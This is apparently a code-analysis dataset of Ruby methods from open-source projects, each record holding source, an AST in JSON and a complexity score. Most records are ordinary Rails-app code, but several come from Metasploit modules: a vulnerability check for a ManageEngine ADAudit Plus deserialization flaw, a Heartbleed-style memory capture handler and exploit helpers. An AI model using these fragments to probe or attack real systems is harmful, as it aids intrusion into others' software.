{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"readers\"]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"posts\"]}]},\"distinct\",{\"type\":\"true\",\"children\":[]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"posts.title\"]},{\"type\":\"str\",\"children\":[\"active\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_persons\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"followers_count\"]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"+\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[10]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_persons\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"followers_count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_persons\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"followers_count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_persons\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"followers_count\"]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"+\"]}]}]}]}]}","id":"b115c255-237b-4885-8ceb-429c62be1f61"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/confirmation_validation_test.rb","start_line":126,"raw_source":"def test_title_confirmation_with_case_sensitive_option_false\n    Topic.validates_confirmation_of(:title, case_sensitive: false)\n\n    t = Topic.new(title: \"title\", title_confirmation: \"Title\")\n    assert_predicate t, :valid?\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_title_confirmation_with_case_sensitive_option_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_confirmation_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"case_sensitive\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title_confirmation\"]},{\"type\":\"str\",\"children\":[\"Title\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"d1736974-7a99-4152-96a3-b73a31ecd8f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/artifacts/metadata/entry.rb","start_line":36,"raw_source":"def blob\n              return unless file?\n\n              @blob ||= Blob.decorate(::Ci::ArtifactBlob.new(self), nil)\n            end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@blob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Blob\"]},\"decorate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"ArtifactBlob\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"4bd4966b-96c7-4f6d-a974-d12f5d6461ad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/videospirit_visprj.rb","start_line":70,"raw_source":"def junk\n    return rand_text_alphanumeric(4).unpack(\"L\")[0].to_i\n  end","complexity_score":5.65,"ast_json":"{\"type\":\"def\",\"children\":[\"junk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"L\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]}]}","id":"785e5422-e0af-4ec0-b41a-f6a3345b8164"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/embedded_ansible/automation_manager/job/status.rb","start_line":13,"raw_source":"def completed?\n    status == MiqTask::STATE_FINISHED\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"completed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"STATE_FINISHED\"]}]}]}","id":"023aebe9-fdb0-46a4-bffe-18a6cb44d2d5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/main/login.rb","start_line":121,"raw_source":"def has_sign_in_tab?(wait: Capybara.default_max_wait_time)\n          has_element?('sign-in-tab', wait: wait)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"has_sign_in_tab?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"wait\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"default_max_wait_time\"]}]}]},{\"type\":\"send\",\"children\":[null,\"has_element?\",{\"type\":\"str\",\"children\":[\"sign-in-tab\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"lvar\",\"children\":[\"wait\"]}]}]}]}]}","id":"ed559b96-374e-401f-be1b-01a369fa5c3d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/singular_association.rb","start_line":43,"raw_source":"def scope_for_create\n          super.except!(*Array(klass.primary_key))\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scope_for_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"except!\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"primary_key\"]}]}]}]}]}","id":"854ed4a3-db6d-43e7-899b-951dd4a243c9"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/store.rb","start_line":329,"raw_source":"def formatted_url_or_custom_domain\n      formatted_custom_domain || formatted_url\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_url_or_custom_domain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formatted_custom_domain\"]},{\"type\":\"send\",\"children\":[null,\"formatted_url\"]}]}]}","id":"5bcd2a23-a43f-4d17-b4cc-a85b785926c5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/repository/test_proc_result_cache.rb","start_line":36,"raw_source":"def test_lookup_accepts_date_as_function_argument\n    function = lambda { |date| date - 1 }\n    function_argument = Date.civil(2015, 2, 1)\n\n    assert_equal(Date.civil(2015, 1, 31), @subject.lookup(function, function_argument))\n  end","complexity_score":11.78,"ast_json":"{\"type\":\"def\",\"children\":[\"test_lookup_accepts_date_as_function_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"function\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"function_argument\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"lookup\",{\"type\":\"lvar\",\"children\":[\"function\"]},{\"type\":\"lvar\",\"children\":[\"function_argument\"]}]}]}]}]}","id":"76c55309-4415-4092-bd0f-a99eac60aa36"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/subforem_reassignment_service.rb","start_line":102,"raw_source":"def perform_reassignment(new_subforem_id)\n    old_subforem_id = article.subforem_id\n    new_subforem = Subforem.find(new_subforem_id)\n\n    # Update both subforem and automod label\n    update_attributes = { subforem_id: new_subforem_id }\n    \n    # Update automod label to on-topic equivalent if available\n    if on_topic_equivalent_label\n      update_attributes[:automod_label] = on_topic_equivalent_label\n    end\n\n    article.update!(update_attributes)\n\n    # Send notification about the subforem change\n    send_subforem_change_notification(old_subforem_id, new_subforem_id)\n\n    Rails.logger.info(\"Article #{article.id} reassigned from subforem #{old_subforem_id} to #{new_subforem_id}\" \\\n                     \"#{on_topic_equivalent_label ? \" and automod label updated to #{on_topic_equivalent_label}\" : \"\"}\")\n  end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_reassignment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_subforem_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_subforem_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"subforem_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_subforem\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"new_subforem_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"update_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subforem_id\"]},{\"type\":\"lvar\",\"children\":[\"new_subforem_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_topic_equivalent_label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"automod_label\"]},{\"type\":\"send\",\"children\":[null,\"on_topic_equivalent_label\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"update!\",{\"type\":\"lvar\",\"children\":[\"update_attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"send_subforem_change_notification\",{\"type\":\"lvar\",\"children\":[\"old_subforem_id\"]},{\"type\":\"lvar\",\"children\":[\"new_subforem_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Article \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" reassigned from subforem \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_subforem_id\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_subforem_id\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_topic_equivalent_label\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" and automod label updated to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_topic_equivalent_label\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"146490bf-1bff-4c88-92d4-5ed0379dc642"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/server/openssl_heartbeat_client_memory.rb","start_line":292,"raw_source":"def on_client_close(c)\n    # Do we have any pending heartbeats to save?\n    if @state[c][:heartbeats].length > 0\n      store_captured_heartbeats(c)\n    end\n    @state.delete(c)\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_client_close\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"heartbeats\"]}]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"store_captured_heartbeats\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}","id":"2f8284e1-9f8d-40ec-a93a-640d5c3ae796"}
{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20201120001727_populate_explicit_follow_points.rb","start_line":3,"raw_source":"def run\n      Follow.connection.execute('UPDATE \"follows\" SET \"explicit_points\" = \"points\" WHERE points != 1')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follow\"]},\"connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE \\\"follows\\\" SET \\\"explicit_points\\\" = \\\"points\\\" WHERE points != 1\"]}]}]}","id":"3294d37c-b4a5-496d-b3fd-4a26e8da898e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin.rb","start_line":138,"raw_source":"def self.new_parser(type, parent: nil)\n      if type[0] == '/' && type[-1] == '/'\n        # This usage is not recommended for new API... create RegexpParser directly\n        require 'fluent/parser'\n        impl = Fluent::TextParser.lookup(type)\n        impl.extend FeatureAvailabilityChecker\n        impl\n      else\n        new_impl('parser', PARSER_REGISTRY, type, parent)\n      end\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new_parser\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"kwoptarg\",\"children\":[\"parent\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"fluent/parser\"]}]},{\"type\":\"lvasgn\",\"children\":[\"impl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"TextParser\"]},\"lookup\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"impl\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"FeatureAvailabilityChecker\"]}]},{\"type\":\"lvar\",\"children\":[\"impl\"]}]},{\"type\":\"send\",\"children\":[null,\"new_impl\",{\"type\":\"str\",\"children\":[\"parser\"]},{\"type\":\"const\",\"children\":[null,\"PARSER_REGISTRY\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}","id":"0957e2dd-48ab-419c-ad7d-0813c9079f12"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/active_schema_test.rb","start_line":130,"raw_source":"def method_missing(...)\n      ActiveRecord::Base.lease_connection.public_send(...)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"public_send\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"d208a577-4f15-4366-9a92-f09c8203f37a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb","start_line":88,"raw_source":"def check\n    # Make sure it's ADAudit Plus by requesting the root and checking the title\n    res1 = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/'\n    )\n\n    unless res1\n      return CheckCode::Unknown('Target failed to respond to check.')\n    end\n\n    unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)\n      return CheckCode::Safe('Does not appear to be ADAudit Plus')\n    end\n\n    # Check if it's a vulnerable version (the patch removes the /cewolf endpoint\n    # entirely)\n    res2 = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(\"#{datastore['TARGETURI_DESERIALIZATION']}?img=abc\")\n    )\n\n    unless res2\n      return CheckCode::Unknown('Target failed to respond to check.')\n    end\n\n    unless res2.code == 200\n      return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')\n    end\n\n    CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')\n  end","complexity_score":26.23,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res1\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res1\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target failed to respond to check.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res1\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res1\"]},\"body\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<title>ADAudit Plus\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Does not appear to be ADAudit Plus\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res2\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI_DESERIALIZATION\"]}]}]},{\"type\":\"str\",\"children\":[\"?img=abc\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res2\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Target failed to respond to check.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res2\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"Target does not have vulnerable endpoint (likely patched).\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"str\",\"children\":[\"The vulnerable endpoint responds with HTTP/200.\"]}]}]}]}","id":"97174c48-fd1c-4a9c-96d8-50ffccfb8e8f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/custom_fields/index_page_header_component.rb","start_line":49,"raw_source":"def currently_selected_tab\n    @currently_selected_tab ||= selected_tab(@tabs)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"currently_selected_tab\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@currently_selected_tab\"]},{\"type\":\"send\",\"children\":[null,\"selected_tab\",{\"type\":\"ivar\",\"children\":[\"@tabs\"]}]}]}]}","id":"fd45c2eb-6f1a-410e-904a-075a305f657a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/user_guardian.rb","start_line":53,"raw_source":"def can_silence_user?(user)\n    user && is_staff? && not(user.staff?)\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"can_silence_user?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"is_staff?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"staff?\"]},\"!\"]}]}]}","id":"840d5bd6-3458-40be-965c-019355175bd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/session_expire_from_init_enforcer.rb","start_line":44,"raw_source":"def enforce!\n        return unless enabled?\n\n        signed_in_at = session['signed_in_at']\n\n        # immediately after the setting is enabled, users may not have this value set\n        # we set it here so users don't have to log out and log back in to set the expiry\n        unless signed_in_at.present?\n          set_signed_in_at\n          return\n        end\n\n        time_since_sign_in = Time.current.utc.to_i - signed_in_at\n\n        return unless time_since_sign_in > timeout_value\n\n        ::Devise.sign_out_all_scopes ? proxy.sign_out : proxy.sign_out(scope)\n        throw :warden, scope: scope, message: :timeout # rubocop:disable Cop/BanCatchThrow -- this is called from a Warden hook, which depends on throw :warden to halt and redirect\n      end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"enforce!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"signed_in_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]\",{\"type\":\"str\",\"children\":[\"signed_in_at\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signed_in_at\"]},\"present?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_signed_in_at\"]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time_since_sign_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"utc\"]},\"to_i\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"signed_in_at\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_since_sign_in\"]},\">\",{\"type\":\"send\",\"children\":[null,\"timeout_value\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Devise\"]},\"sign_out_all_scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proxy\"]},\"sign_out\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proxy\"]},\"sign_out\",{\"type\":\"send\",\"children\":[null,\"scope\"]}]}]},{\"type\":\"send\",\"children\":[null,\"throw\",{\"type\":\"sym\",\"children\":[\"warden\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"sym\",\"children\":[\"timeout\"]}]}]}]}]}]}","id":"f9f9a373-658b-43e8-a522-90467cccebaa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/client/iec104/iec104.rb","start_line":89,"raw_source":"def make_apci(asdu_data)\n    apci_data = \"\\x68\"\n    apci_data << [asdu_data.size + 4].pack('c') # size byte\n    apci_data << String([@tx].pack('v'))\n    apci_data << String([@rx].pack('v'))\n    @rx += 2\n    @tx += 2\n    apci_data << asdu_data\n    apci_data\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"make_apci\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asdu_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"apci_data\",{\"type\":\"str\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asdu_data\"]},\"size\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"String\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tx\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"String\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rx\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"v\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rx\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tx\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]},{\